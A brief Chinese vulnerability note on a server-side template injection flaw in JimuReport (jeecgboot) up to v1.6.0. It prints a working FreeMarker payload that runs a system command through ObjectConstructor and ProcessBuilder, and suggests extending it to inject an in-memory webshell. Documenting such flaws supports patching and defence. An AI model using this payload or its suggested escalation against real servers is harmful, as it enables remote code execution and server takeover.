Quan

jeecgboot积木报表系统jimureport SSTI

1.漏洞描述
jimureport ≤ v1.6.0 具有 SSTI（服务器端模板注入），攻击者可利用该漏洞远程执行任意代码，控制服务器权限。
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start ()}
任意代码执行，应该也能扩充成注入内存马等操作。
具体操作流程，触发点可以查看原文